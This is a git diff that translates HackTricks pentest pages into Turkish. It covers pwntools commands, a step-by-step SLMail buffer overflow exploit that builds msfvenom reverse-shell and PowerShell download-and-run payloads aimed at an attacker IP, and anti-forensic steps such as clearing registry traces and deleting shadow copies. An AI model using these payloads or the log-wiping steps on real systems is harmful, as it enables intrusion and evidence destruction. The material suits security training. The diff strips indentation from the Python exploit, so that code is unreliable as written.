+## Daha Fazla -**ldd executable | grep libc.so.6** --> Address (if ASLR, then this change every time)\ -**for i in \`seq 0 20\`; do ldd \ | grep libc; done** --> Loop to see if the address changes a lot\ -**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> Offset of "system"\ -**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> Offset of "/bin/sh" +**ldd çalıştırılabilir | grep libc.so.6** --> Adres (eğer ASLR varsa, bu her seferinde değişir)\ +**for i in \`seq 0 20\`; do ldd \<Çalıştırılabilir> | grep libc; done** --> Adresin çok değişip değişmediğini görmek için döngü\ +**readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system** --> "system" ofseti\ +**strings -a -t x /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh** --> "/bin/sh" ofseti -**strace executable** --> Functions called by the executable\ -**rabin2 -i ejecutable -->** Address of all the functions +**strace çalıştırılabilir** --> Çalıştırılabilir tarafından çağrılan fonksiyonlar\ +**rabin2 -i ejecutable -->** Tüm fonksiyonların adresi ## **Inmunity debugger** - ```bash !mona modules #Get protections, look for all false except last one (Dll of SO) !mona find -s "\xff\xe4" -m name_unsecure.dll #Search for opcodes insie dll space (JMP ESP) ``` - ## IDA -### Debugging in remote linux - -Inside the IDA folder you can find binaries that can be used to debug a binary inside a linux. To do so move the binary _linux_server_ or _linux_server64_ inside the linux server and run it nside the folder that contains the binary: +### Uzak linux'ta hata ayıklama +IDA klasörü içinde, bir ikili dosyayı linux içinde hata ayıklamak için kullanılabilecek ikili dosyalar bulabilirsiniz. Bunu yapmak için _linux_server_ veya _linux_server64_ ikili dosyasını linux sunucusuna taşıyın ve ikili dosyanın bulunduğu klasörde çalıştırın: ``` ./linux_server64 -Ppass ``` - -Then, configure the debugger: Debugger (linux remote) --> Proccess options...: +Sonra, hata ayıklayıcıyı yapılandırın: Debugger (linux remote) --> Proccess options...: ![](<../../images/image (101).png>) diff --git a/src/exploiting/tools/pwntools.md b/src/exploiting/tools/pwntools.md index a7c0aa204..db0cc37ee 100644 --- a/src/exploiting/tools/pwntools.md +++ b/src/exploiting/tools/pwntools.md @@ -1,118 +1,98 @@ {{#include ../../banners/hacktricks-training.md}} - ``` pip3 install pwntools ``` - # Pwn asm -Get opcodes from line or file. - +Satırdan veya dosyadan opcode'ları al. ``` pwn asm "jmp esp" pwn asm -i ``` +**Seçilebilir:** -**Can select:** - -- output type (raw,hex,string,elf) -- output file context (16,32,64,linux,windows...) -- avoid bytes (new lines, null, a list) -- select encoder debug shellcode using gdb run the output +- çıktı türü (ham, hex, string, elf) +- çıktı dosyası bağlamı (16, 32, 64, linux, windows...) +- baytlardan kaçın (yeni satırlar, null, bir liste) +- kodlayıcıyı seç, gdb kullanarak shellcode'u çalıştır ve çıktıyı al # **Pwn checksec** Checksec script - ``` pwn checksec ``` - # Pwn constgrep # Pwn cyclic -Get a pattern - +Bir desen al ``` pwn cyclic 3000 pwn cyclic -l faad ``` +**Seçilebilir:** -**Can select:** - -- The used alphabet (lowercase chars by default) -- Length of uniq pattern (default 4) -- context (16,32,64,linux,windows...) -- Take the offset (-l) +- Kullanılan alfabe (varsayılan olarak küçük harfler) +- Benzersiz desenin uzunluğu (varsayılan 4) +- bağlam (16,32,64,linux,windows...) +- Ofseti al (-l) # Pwn debug -Attach GDB to a process - +Bir işleme GDB ekle ``` pwn debug --exec /bin/bash pwn debug --pid 1234 pwn debug --process bash ``` +**Seçilebilir:** -**Can select:** - -- By executable, by name or by pid context (16,32,64,linux,windows...) -- gdbscript to execute +- Çalıştırılabilir dosya, isim veya pid bağlamına göre (16,32,64,linux,windows...) +- Çalıştırılacak gdbscript - sysrootpath # Pwn disablenx -Disable nx of a binary - +Bir ikili dosyanın nx'ini devre dışı bırakın ``` pwn disablenx ``` - # Pwn disasm -Disas hex opcodes - +Hex opkodları disas ``` pwn disasm ffe4 ``` +**Seçilebilir:** -**Can select:** - -- context (16,32,64,linux,windows...) -- base addres -- color(default)/no color +- bağlam (16,32,64,linux,windows...) +- temel adres +- renk (varsayılan)/renk yok # Pwn elfdiff -Print differences between 2 fiels - +2 dosya arasındaki farkları yazdırır ``` pwn elfdiff ``` - # Pwn hex -Get hexadecimal representation - +Onaltılık temsilini al ```bash pwn hex hola #Get hex of "hola" ascii ``` - # Pwn phd -Get hexdump - +Hexdump al ``` pwn phd ``` +**Seçilebilir:** -**Can select:** - -- Number of bytes to show -- Number of bytes per line highlight byte -- Skip bytes at beginning +- Gösterilecek byte sayısı +- Satır başına vurgulanan byte sayısı +- Başlangıçtaki byte'ları atla # Pwn pwnstrip @@ -120,8 +100,7 @@ pwn phd # Pwn shellcraft -Get shellcodes - +Shellcode'ları al ``` pwn shellcraft -l #List shellcodes pwn shellcraft -l amd #Shellcode with amd in the name @@ -129,46 +108,39 @@ pwn shellcraft -f hex amd64.linux.sh #Create in C and run pwn shellcraft -r amd64.linux.sh #Run to test. Get shell pwn shellcraft .r amd64.linux.bindsh 9095 #Bind SH to port ``` +**Seçilebilir:** -**Can select:** +- shellcode ve shellcode için argümanlar +- Çıktı dosyası +- çıktı formatı +- hata ayıklama (dbg'yi shellcode'a ekle) +- öncesi (koddan önce hata ayıklama tuzağı) +- sonrası +- opcode kullanmaktan kaçın (varsayılan: null ve yeni satır değil) +- shellcode'u çalıştır +- Renk/renksiz +- sistem çağrılarını listele +- olası shellcode'ları listele +- ELF'yi paylaşılan bir kütüphane olarak oluştur -- shellcode and arguments for the shellcode -- Out file -- output format -- debug (attach dbg to shellcode) -- before (debug trap before code) -- after -- avoid using opcodes (default: not null and new line) -- Run the shellcode -- Color/no color -- list syscalls -- list possible shellcodes -- Generate ELF as a shared library - -# Pwn template - -Get a python template +# Pwn şablonu +Bir python şablonu al ``` pwn template ``` - -**Can select:** host, port, user, pass, path and quiet +**Seçilebilir:** host, port, kullanıcı, şifre, yol ve sessiz # Pwn unhex -From hex to string - +Hex'ten string'e ``` pwn unhex 686f6c61 ``` +# Pwn güncellemesi -# Pwn update - -To update pwntools - +pwntools'u güncellemek için ``` pwn update ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md index 1f8119bb8..aad6edfce 100644 --- a/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md +++ b/src/exploiting/windows-exploiting-basic-guide-oscp-lvl.md @@ -1,21 +1,18 @@ -# Windows Exploiting (Basic Guide - OSCP lvl) +# Windows Exploiting (Temel Kılavuz - OSCP seviyesi) {{#include ../banners/hacktricks-training.md}} -## **Start installing the SLMail service** +## **SLMail hizmetini kurmaya başlayın** -## Restart SLMail service - -Every time you need to **restart the service SLMail** you can do it using the windows console: +## SLMail hizmetini yeniden başlatın +Her seferinde **SLMail hizmetini yeniden başlatmanız** gerektiğinde, bunu Windows konsolunu kullanarak yapabilirsiniz: ``` net start slmail ``` - ![](<../images/image (23) (1).png>) -## Very basic python exploit template - +## Çok temel python istismar şablonu ```python #!/usr/bin/python @@ -27,99 +24,89 @@ port = 110 buffer = 'A' * 2700 try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` +## **Immunity Debugger Yazı Tipini Değiştir** -## **Change Immunity Debugger Font** +`Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` yolunu izleyin. -Go to `Options >> Appearance >> Fonts >> Change(Consolas, Blod, 9) >> OK` - -## **Attach the proces to Immunity Debugger:** +## **İşlemi Immunity Debugger'a Bağla:** **File --> Attach** ![](<../images/image (24) (1) (1).png>) -**And press START button** +**Ve START butonuna basın.** -## **Send the exploit and check if EIP is affected:** +## **Exploit'i gönderin ve EIP'nin etkilenip etkilenmediğini kontrol edin:** ![](<../images/image (25) (1) (1).png>) -Every time you break the service you should restart it as is indicated in the beginnig of this page. +Hizmeti her kırdığınızda, bu sayfanın başında belirtildiği gibi hizmeti yeniden başlatmalısınız. -## Create a pattern to modify the EIP +## EIP'yi değiştirmek için bir desen oluşturun -The pattern should be as big as the buffer you used to broke the service previously. +Desen, daha önce hizmeti kırmak için kullandığınız tampon kadar büyük olmalıdır. ![](<../images/image (26) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 3000 ``` +Sömürgeyi değiştirin ve deseni ayarlayın ve sömürgeyi başlatın. -Change the buffer of the exploit and set the pattern and lauch the exploit. - -A new crash should appeard, but with a different EIP address: +Yeni bir çökme görünmelidir, ancak farklı bir EIP adresi ile: ![](<../images/image (27) (1) (1).png>) -Check if the address was in your pattern: +Adresin deseninizde olup olmadığını kontrol edin: ![](<../images/image (28) (1) (1).png>) - ``` /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -l 3000 -q 39694438 ``` +Görünüşe göre **buffer'ın 2606 ofsetinde EIP'yi değiştirebiliriz**. -Looks like **we can modify the EIP in offset 2606** of the buffer. - -Check it modifing the buffer of the exploit: - +Sömürücü buffer'ı değiştirerek kontrol edin: ``` buffer = 'A'*2606 + 'BBBB' + 'CCCC' ``` - -With this buffer the EIP crashed should point to 42424242 ("BBBB") +Bu tampon ile EIP çökmesi 42424242 ("BBBB")'ye işaret etmelidir. ![](<../images/image (30) (1) (1).png>) ![](<../images/image (29) (1) (1).png>) -Looks like it is working. +Görünüşe göre çalışıyor. -## Check for Shellcode space inside the stack +## Yığın içinde Shellcode alanını kontrol et -600B should be enough for any powerfull shellcode. - -Lets change the bufer: +600B, herhangi bir güçlü shellcode için yeterli olmalıdır. +Tamponu değiştirelim: ``` buffer = 'A'*2606 + 'BBBB' + 'C'*600 ``` - -launch the new exploit and check the EBP and the length of the usefull shellcode +yeni exploit'i başlatın ve EBP'yi ve kullanışlı shellcode'un uzunluğunu kontrol edin ![](<../images/image (31) (1).png>) ![](<../images/image (32) (1).png>) -You can see that when the vulnerability is reached, the EBP is pointing to the shellcode and that we have a lot of space to locate a shellcode here. +Zafiyet ulaşıldığında, EBP'nin shellcode'a işaret ettiğini ve burada bir shellcode yerleştirmek için yeterli alanımız olduğunu görebilirsiniz. -In this case we have **from 0x0209A128 to 0x0209A2D6 = 430B.** Enough. +Bu durumda **0x0209A128 ile 0x0209A2D6 arasında = 430B.** Yeterli. -## Check for bad chars - -Change again the buffer: +## Kötü karakterleri kontrol et +Tamponu tekrar değiştirin: ``` badchars = ( "\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10" @@ -141,30 +128,27 @@ badchars = ( ) buffer = 'A'*2606 + 'BBBB' + badchars ``` +Badchars 0x01'de başlar çünkü 0x00 neredeyse her zaman kötü. -The badchars starts in 0x01 because 0x00 is almost always bad. +Bu yeni tampon ile, işe yaramaz olduğu tespit edilen karakterleri silerek istismarı tekrar tekrar çalıştırın: -Execute repeatedly the exploit with this new buffer delenting the chars that are found to be useless:. +Örneğin: -For example: - -In this case you can see that **you shouldn't use the char 0x0A** (nothing is saved in memory since the char 0x09). +Bu durumda **0x0A karakterini kullanmamalısınız** (0x09 karakteri nedeniyle hafızada hiçbir şey kaydedilmez). ![](<../images/image (33) (1).png>) -In this case you can see that **the char 0x0D is avoided**: +Bu durumda **0x0D karakterinin kaçınıldığını** görebilirsiniz: ![](<../images/image (34) (1).png>) -## Find a JMP ESP as a return address - -Using: +## Bir JMP ESP'yi dönüş adresi olarak bulun +Kullanarak: ``` !mona modules #Get protections, look for all false except last one (Dll of SO) ``` - -You will **list the memory maps**. Search for some DLl that has: +Bellek haritalarını **listeleyeceksiniz**. Aşağıdaki özelliklere sahip bazı DLL'leri arayın: - **Rebase: False** - **SafeSEH: False** @@ -174,30 +158,25 @@ You will **list the memory maps**. Search for some DLl that has: ![](<../images/image (35) (1).png>) -Now, inside this memory you should find some JMP ESP bytes, to do that execute: - +Şimdi, bu bellek içinde bazı JMP ESP baytları bulmalısınız, bunu yapmak için: ``` !mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP) !mona find -s "\xff\xe4" -m slmfc.dll # Example in this case ``` - -**Then, if some address is found, choose one that don't contain any badchar:** +**Sonra, eğer bir adres bulunursa, kötü karakter içermeyen birini seçin:** ![](<../images/image (36) (1).png>) -**In this case, for example: \_0x5f4a358f**\_ - -## Create shellcode +**Bu durumda, örneğin: \_0x5f4a358f**\_ +## Shellcode oluşturun ``` msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d' msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d' ``` +Eğer exploit çalışmıyorsa ama çalışması gerekiyorsa (ImDebg ile shellcode'a ulaşıldığını görebilirsiniz), aynı parametreler için farklı shellcode'lar oluşturmak üzere msfvenom kullanarak başka shellcode'lar yaratmayı deneyin. -If the exploit is not working but it should (you can see with ImDebg that the shellcode is reached), try to create other shellcodes (msfvenom with create different shellcodes for the same parameters). - -**Add some NOPS at the beginning** of the shellcode and use it and the return address to JMP ESP, and finish the exploit: - +**Shellcode'un başına bazı NOPS ekleyin** ve bunu kullanarak ve dönüş adresi ile JMP ESP yaparak exploit'i tamamlayın: ```bash #!/usr/bin/python @@ -236,26 +215,23 @@ shellcode = ( buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode try: - print "\nLaunching exploit..." - s.connect((ip, port)) - data = s.recv(1024) - s.send('USER username' +'\r\n') - data = s.recv(1024) - s.send('PASS ' + buffer + '\r\n') - print "\nFinished!." +print "\nLaunching exploit..." +s.connect((ip, port)) +data = s.recv(1024) +s.send('USER username' +'\r\n') +data = s.recv(1024) +s.send('PASS ' + buffer + '\r\n') +print "\nFinished!." except: - print "Could not connect to "+ip+":"+port +print "Could not connect to "+ip+":"+port ``` - > [!WARNING] -> There are shellcodes that will **overwrite themselves**, therefore it's important to always add some NOPs before the shellcode +> Kendini **üst üste yazacak** shellcode'lar vardır, bu nedenle shellcode'dan önce her zaman bazı NOP'lar eklemek önemlidir. -## Improving the shellcode - -Add this parameters: +## Shellcode'u Geliştirme +Bu parametreleri ekleyin: ``` EXITFUNC=thread -e x86/shikata_ga_nai ``` - {{#include ../banners/hacktricks-training.md}} diff --git a/src/forensics/basic-forensic-methodology/README.md b/src/forensics/basic-forensic-methodology/README.md index e725dfa85..cae5d64e1 100644 --- a/src/forensics/basic-forensic-methodology/README.md +++ b/src/forensics/basic-forensic-methodology/README.md @@ -1,30 +1,30 @@ -# Basic Forensic Methodology +# Temel Adli Metodoloji {{#include ../../banners/hacktricks-training.md}} -## Creating and Mounting an Image +## Bir Görüntü Oluşturma ve Bağlama {{#ref}} ../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md {{#endref}} -## Malware Analysis +## Kötü Amaçlı Yazılım Analizi -This **isn't necessary the first step to perform once you have the image**. But you can use this malware analysis techniques independently if you have a file, a file-system image, memory image, pcap... so it's good to **keep these actions in mind**: +Bu **görüntüyü aldıktan sonra gerçekleştirilecek ilk adım olmak zorunda değil**. Ancak bir dosya, dosya sistemi görüntüsü, bellek görüntüsü, pcap... varsa bu kötü amaçlı yazılım analiz tekniklerini bağımsız olarak kullanabilirsiniz, bu yüzden **bu eylemleri aklınızda bulundurmak iyi**: {{#ref}} malware-analysis.md {{#endref}} -## Inspecting an Image +## Bir Görüntüyü İnceleme -if you are given a **forensic image** of a device you can start **analyzing the partitions, file-system** used and **recovering** potentially **interesting files** (even deleted ones). Learn how in: +Eğer size bir **adli görüntü** verilirse, **bölümleri, kullanılan dosya sistemini** analiz etmeye ve potansiyel olarak **ilginç dosyaları** (silinmiş olanlar dahil) **geri kazanmaya** başlayabilirsiniz. Bunu nasıl yapacağınızı öğrenin: {{#ref}} partitions-file-systems-carving/ {{#endref}} -Depending on the used OSs and even platform different interesting artifacts should be searched: +Kullanılan işletim sistemlerine ve hatta platforma bağlı olarak farklı ilginç artefaktlar aranmalıdır: {{#ref}} windows-forensics/ @@ -38,42 +38,42 @@ linux-forensics.md docker-forensics.md {{#endref}} -## Deep inspection of specific file-types and Software +## Belirli Dosya Türleri ve Yazılımlarının Derin İncelemesi -If you have very **suspicious** **file**, then **depending on the file-type and software** that created it several **tricks** may be useful.\ -Read the following page to learn some interesting tricks: +Eğer çok **şüpheli** bir **dosyanız** varsa, o zaman **dosya türüne ve onu oluşturan yazılıma** bağlı olarak birkaç **numara** faydalı olabilir.\ +Bazı ilginç numaraları öğrenmek için aşağıdaki sayfayı okuyun: {{#ref}} specific-software-file-type-tricks/ {{#endref}} -I want to do a special mention to the page: +Özel olarak şu sayfayı belirtmek istiyorum: {{#ref}} specific-software-file-type-tricks/browser-artifacts.md {{#endref}} -## Memory Dump Inspection +## Bellek Dökümü İncelemesi {{#ref}} memory-dump-analysis/ {{#endref}} -## Pcap Inspection +## Pcap İncelemesi {{#ref}} pcap-inspection/ {{#endref}} -## **Anti-Forensic Techniques** +## **Anti-Adli Teknikler** -Keep in mind the possible use of anti-forensic techniques: +Anti-adli tekniklerin olası kullanımını aklınızda bulundurun: {{#ref}} anti-forensic-techniques.md {{#endref}} -## Threat Hunting +## Tehdit Avı {{#ref}} file-integrity-monitoring.md diff --git a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md index 615ede378..0a2b9c8ec 100644 --- a/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md +++ b/src/forensics/basic-forensic-methodology/anti-forensic-techniques.md @@ -1,159 +1,151 @@ {{#include ../../banners/hacktricks-training.md}} -
+# Zaman Damgaları -{% embed url="https://websec.nl/" %} +Bir saldırgan, **dosyaların zaman damgalarını değiştirmekle** ilgilenebilir.\ +Zaman damgalarını, MFT içinde `$STANDARD_INFORMATION` **ve** `$FILE_NAME` özniteliklerinde bulmak mümkündür. -# Timestamps +Her iki öznitelik de 4 zaman damgasına sahiptir: **Değiştirme**, **erişim**, **oluşturma** ve **MFT kayıt değişikliği** (MACE veya MACB). -An attacker may be interested in **changing the timestamps of files** to avoid being detected.\ -It's possible to find the timestamps inside the MFT in attributes `$STANDARD_INFORMATION` ** and ** `$FILE_NAME`. +**Windows Gezgini** ve diğer araçlar, **`$STANDARD_INFORMATION`** içindeki bilgileri gösterir. -Both attributes have 4 timestamps: **Modification**, **access**, **creation**, and **MFT registry modification** (MACE or MACB). +## TimeStomp - Anti-forensic Aracı -**Windows explorer** and other tools show the information from **`$STANDARD_INFORMATION`**. - -## TimeStomp - Anti-forensic Tool - -This tool **modifies** the timestamp information inside **`$STANDARD_INFORMATION`** **but** **not** the information inside **`$FILE_NAME`**. Therefore, it's possible to **identify** **suspicious** **activity**. +Bu araç, **`$STANDARD_INFORMATION`** içindeki zaman damgası bilgilerini **değiştirir** **ancak** **`$FILE_NAME`** içindeki bilgileri **değiştirmez**. Bu nedenle, **şüpheli** **etkinlikleri** **belirlemek** mümkündür. ## Usnjrnl -The **USN Journal** (Update Sequence Number Journal) is a feature of the NTFS (Windows NT file system) that keeps track of volume changes. The [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) tool allows for the examination of these changes. +**USN Journal** (Güncelleme Sırası Numarası Günlüğü), NTFS (Windows NT dosya sistemi) özelliğidir ve hacim değişikliklerini takip eder. [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) aracı, bu değişikliklerin incelenmesini sağlar. ![](<../../images/image (449).png>) -The previous image is the **output** shown by the **tool** where it can be observed that some **changes were performed** to the file. +Önceki görüntü, dosya üzerinde bazı **değişikliklerin yapıldığını** gözlemleyebileceğimiz **aracın** gösterdiği **çıktıdır**. ## $LogFile -**All metadata changes to a file system are logged** in a process known as [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). The logged metadata is kept in a file named `**$LogFile**`, located in the root directory of an NTFS file system. Tools such as [LogFileParser](https://github.com/jschicht/LogFileParser) can be used to parse this file and identify changes. +**Bir dosya sistemine yapılan tüm meta veri değişiklikleri**, [ön yazma günlüğü](https://en.wikipedia.org/wiki/Write-ahead_logging) olarak bilinen bir süreçte kaydedilir. Kaydedilen meta veriler, NTFS dosya sisteminin kök dizininde bulunan `**$LogFile**` adlı bir dosyada tutulur. [LogFileParser](https://github.com/jschicht/LogFileParser) gibi araçlar, bu dosyayı ayrıştırmak ve değişiklikleri belirlemek için kullanılabilir. ![](<../../images/image (450).png>) -Again, in the output of the tool it's possible to see that **some changes were performed**. +Yine, aracın çıktısında **bazı değişikliklerin yapıldığını** görmek mümkündür. -Using the same tool it's possible to identify to **which time the timestamps were modified**: +Aynı aracı kullanarak, **zaman damgalarının hangi zamana kadar değiştirildiğini** belirlemek mümkündür: ![](<../../images/image (451).png>) -- CTIME: File's creation time -- ATIME: File's modification time -- MTIME: File's MFT registry modification -- RTIME: File's access time +- CTIME: Dosyanın oluşturulma zamanı +- ATIME: Dosyanın değiştirilme zamanı +- MTIME: Dosyanın MFT kayıt değişikliği +- RTIME: Dosyanın erişim zamanı -## `$STANDARD_INFORMATION` and `$FILE_NAME` comparison +## `$STANDARD_INFORMATION` ve `$FILE_NAME` karşılaştırması -Another way to identify suspicious modified files would be to compare the time on both attributes looking for **mismatches**. +Şüpheli değiştirilmiş dosyaları belirlemenin bir diğer yolu, her iki öznitelikteki zamanı karşılaştırarak **uyumsuzluklar** aramaktır. -## Nanoseconds +## Nanosecond -**NTFS** timestamps have a **precision** of **100 nanoseconds**. Then, finding files with timestamps like 2010-10-10 10:10:**00.000:0000 is very suspicious**. +**NTFS** zaman damgalarının **kesinliği** **100 nanosecond**'dir. Bu nedenle, 2010-10-10 10:10:**00.000:0000 gibi zaman damgalarına sahip dosyaları bulmak **çok şüphelidir**. -## SetMace - Anti-forensic Tool +## SetMace - Anti-forensic Aracı -This tool can modify both attributes `$STARNDAR_INFORMATION` and `$FILE_NAME`. However, from Windows Vista, it's necessary for a live OS to modify this information. +Bu araç, hem `$STARNDAR_INFORMATION` hem de `$FILE_NAME` özniteliklerini değiştirebilir. Ancak, Windows Vista'dan itibaren, bu bilgileri değiştirmek için canlı bir işletim sistemine ihtiyaç vardır. -# Data Hiding +# Veri Gizleme -NFTS uses a cluster and the minimum information size. That means that if a file occupies uses and cluster and a half, the **reminding half is never going to be used** until the file is deleted. Then, it's possible to **hide data in this slack space**. +NFTS, bir küme ve minimum bilgi boyutu kullanır. Bu, bir dosya bir buçuk küme kaplıyorsa, **kalan yarının asla kullanılmayacağı** anlamına gelir. Bu nedenle, bu boşlukta **veri gizlemek mümkündür**. -There are tools like slacker that allow hiding data in this "hidden" space. However, an analysis of the `$logfile` and `$usnjrnl` can show that some data was added: +Slacker gibi, bu "gizli" alanda veri gizlemeye olanak tanıyan araçlar vardır. Ancak, `$logfile` ve `$usnjrnl` analizi, bazı verilerin eklendiğini gösterebilir: ![](<../../images/image (452).png>) -Then, it's possible to retrieve the slack space using tools like FTK Imager. Note that this kind of tool can save the content obfuscated or even encrypted. +Bu nedenle, FTK Imager gibi araçlar kullanarak boş alanı geri almak mümkündür. Bu tür araçların içeriği obfuscate veya hatta şifreli olarak kaydedebileceğini unutmayın. # UsbKill -This is a tool that will **turn off the computer if any change in the USB** ports is detected.\ -A way to discover this would be to inspect the running processes and **review each python script running**. +Bu, **USB** portlarında herhangi bir değişiklik tespit edildiğinde bilgisayarı **kapatan** bir araçtır.\ +Bunu keşfetmenin bir yolu, çalışan süreçleri incelemek ve **her bir python betiğini gözden geçirmektir**. -# Live Linux Distributions +# Canlı Linux Dağıtımları -These distros are **executed inside the RAM** memory. The only way to detect them is **in case the NTFS file-system is mounted with write permissions**. If it's mounted just with read permissions it won't be possible to detect the intrusion. +Bu dağıtımlar, **RAM** belleği içinde **çalıştırılır**. Onları tespit etmenin tek yolu, **NTFS dosya sisteminin yazma izinleriyle monte edilmesidir**. Sadece okuma izinleriyle monte edilirse, ihlali tespit etmek mümkün olmayacaktır. -# Secure Deletion +# Güvenli Silme [https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization) -# Windows Configuration +# Windows Yapılandırması -It's possible to disable several windows logging methods to make the forensics investigation much harder. +Adli soruşturmayı çok daha zor hale getirmek için birçok Windows günlüğü yöntemini devre dışı bırakmak mümkündür. -## Disable Timestamps - UserAssist +## Zaman Damgalarını Devre Dışı Bırak - UserAssist -This is a registry key that maintains dates and hours when each executable was run by the user. +Bu, her çalıştırılan yürütülebilir dosyanın tarihlerini ve saatlerini koruyan bir kayıt anahtarıdır. -Disabling UserAssist requires two steps: +UserAssist'i devre dışı bırakmak iki adım gerektirir: -1. Set two registry keys, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` and `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, both to zero in order to signal that we want UserAssist disabled. -2. Clear your registry subtrees that look like `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\`. +1. UserAssist'i devre dışı bırakmak istediğimizi belirtmek için `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` ve `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled` adlı iki kayıt anahtarını sıfıra ayarlayın. +2. `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\` gibi görünen kayıt alt ağaçlarınızı temizleyin. -## Disable Timestamps - Prefetch +## Zaman Damgalarını Devre Dışı Bırak - Prefetch -This will save information about the applications executed with the goal of improving the performance of the Windows system. However, this can also be useful for forensics practices. +Bu, Windows sisteminin performansını artırmak amacıyla çalıştırılan uygulamalar hakkında bilgi kaydedecektir. Ancak, bu adli uygulamalar için de faydalı olabilir. -- Execute `regedit` -- Select the file path `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` -- Right-click on both `EnablePrefetcher` and `EnableSuperfetch` -- Select Modify on each of these to change the value from 1 (or 3) to 0 -- Restart +- `regedit` çalıştırın +- Dosya yolunu `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters` seçin +- `EnablePrefetcher` ve `EnableSuperfetch` üzerinde sağ tıklayın +- Her birinin değerini 1 (veya 3) yerine 0 olarak değiştirmek için Değiştir'i seçin +- Yeniden başlatın -## Disable Timestamps - Last Access Time +## Zaman Damgalarını Devre Dışı Bırak - Son Erişim Zamanı -Whenever a folder is opened from an NTFS volume on a Windows NT server, the system takes the time to **update a timestamp field on each listed folder**, called the last access time. On a heavily used NTFS volume, this can affect performance. +Bir NTFS hacminden bir klasör açıldığında, sistem, listedeki her klasör için **bir zaman damgası alanını güncellemek için zamanı alır**, buna son erişim zamanı denir. Yoğun kullanılan bir NTFS hacminde, bu performansı etkileyebilir. -1. Open the Registry Editor (Regedit.exe). -2. Browse to `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`. -3. Look for `NtfsDisableLastAccessUpdate`. If it doesn’t exist, add this DWORD and set its value to 1, which will disable the process. -4. Close the Registry Editor, and reboot the server. +1. Kayıt Defteri Düzenleyicisini (Regedit.exe) açın. +2. `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem` yoluna gidin. +3. `NtfsDisableLastAccessUpdate` anahtarını arayın. Eğer yoksa, bu DWORD'u ekleyin ve değerini 1 olarak ayarlayın, bu işlem devre dışı bırakılacaktır. +4. Kayıt Defteri Düzenleyicisini kapatın ve sunucuyu yeniden başlatın. -## Delete USB History +## USB Geçmişini Sil -All the **USB Device Entries** are stored in Windows Registry Under the **USBSTOR** registry key that contains sub keys which are created whenever you plug a USB Device into your PC or Laptop. You can find this key here H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Deleting this** you will delete the USB history.\ -You may also use the tool [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) to be sure you have deleted them (and to delete them). +Tüm **USB Aygıt Girişleri**, bir USB Aygıtını PC veya dizüstü bilgisayarınıza taktığınızda oluşturulan alt anahtarları içeren **USBSTOR** kayıt anahtarı altında Windows Kayıt Defteri'nde saklanır. Bu anahtarı burada bulabilirsiniz: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Bunu silerek**, USB geçmişini sileceksiniz.\ +Ayrıca, silindiğinizden emin olmak için [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) aracını kullanabilirsiniz (ve silmek için). -Another file that saves information about the USBs is the file `setupapi.dev.log` inside `C:\Windows\INF`. This should also be deleted. +USB'ler hakkında bilgi kaydeden bir diğer dosya, `C:\Windows\INF` içindeki `setupapi.dev.log` dosyasıdır. Bu dosya da silinmelidir. -## Disable Shadow Copies +## Gölge Kopyalarını Devre Dışı Bırak -**List** shadow copies with `vssadmin list shadowstorage`\ -**Delete** them running `vssadmin delete shadow` +**Gölge kopyaları listeleyin**: `vssadmin list shadowstorage`\ +**Silin**: `vssadmin delete shadow` -You can also 